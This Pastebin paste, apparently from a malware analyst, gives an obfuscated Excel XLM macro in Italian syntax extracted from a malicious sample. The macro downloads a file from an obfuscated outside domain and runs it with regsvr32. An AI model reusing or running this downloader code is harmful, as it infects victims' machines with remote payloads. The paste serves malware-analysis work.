Advertisement
dissectmalware

Extracted XLM Macro in Italian

Jan 19th, 2021 (edited)
524
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.22 KB | None | 0 0
  1. Hash: 53c9fcabdc30f2bf24bc0c3a8586de2986417b3e51d697530c8a84a7cea37f79
  2.  
  3. VBA -> generate and run XLM macro
  4.  
  5. NOME.RIF("D";"")
  6. NOME.RIF("m";ARCCOS(-0,5)*135/PI.GRECO())
  7. NOME.RIF("p";COS(RADIANTI(60))-COS(60*PI.GRECO()/180))
  8. NOME.RIF("K";"w")
  9. NOME.RIF("Z";"o")
  10. SE(VAL.NUMERO(RICERCA(K;INFO.AREA.DI.LAVORO(1))); ;CHIUDE(VERO))
  11. NOME.RIF("A";"C:"&D&CODICE.CARATT(CASUALE.TRA(65;m))&CODICE.CARATT(CASUALE.TRA(65;m))&CASUALE.TRA(100;999)&CODICE.CARATT(CASUALE.TRA(65;m)))
  12. NOME.RIF("if";CODICE.CARATT(115))
  13. NOME.RIF("V";"l")
  14. NOME.RIF("B";A&D&CODICE.CARATT(CASUALE.TRA(65;m))&CODICE.CARATT(CASUALE.TRA(65;m))&CASUALE.TRA(100;999)&CODICE.CARATT(CASUALE.TRA(65;m)))
  15. NOME.RIF("F";INFO.AREA.DI.LAVORO(13)&".")
  16. NOME.RIF("U";"e")
  17. RICHIAMA("K"&U&"rn"&U&"l32";"Cr"&U&"at"&U&"Direct"&Z&"ryA";"JCJ";A;p)
  18. NOME.RIF("G";NOME.RIF("h";"rvizi"))
  19. RICHIAMA("Kern"&U&"l32";"CreateDir"&U&"ct"&Z&"ryA";"JCJ";B;p)
  20. RICHIAMA("URLMON";"URLD"&Z&"wnl"&Z&"adT"&Z&"FileA"; "JJCCJJ";p;RIMPIAZZA("hqps:"&INFO.AREA.DI.LAVORO(9)&INFO.AREA.DI.LAVORO(9)&"inp"&if&"-"&if&U&h&DESTRA(F)&"c"&Z&"m";2;1;"tt");B&D&F;p;p)
  21. ATTESA(ADESSO()+"00:00:08")
  22. RICHIAMA("Sh"&U&"ll32";"Sh"&U&"llEx"&U&"cut"&U&"A"; "JJCCCCJ";p;"Op"&U&"n";"r"&U&"gsvr32";" -"&if&" "&B&D&F;p;p)
  23. FILE.CHIUDI(FALSO)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement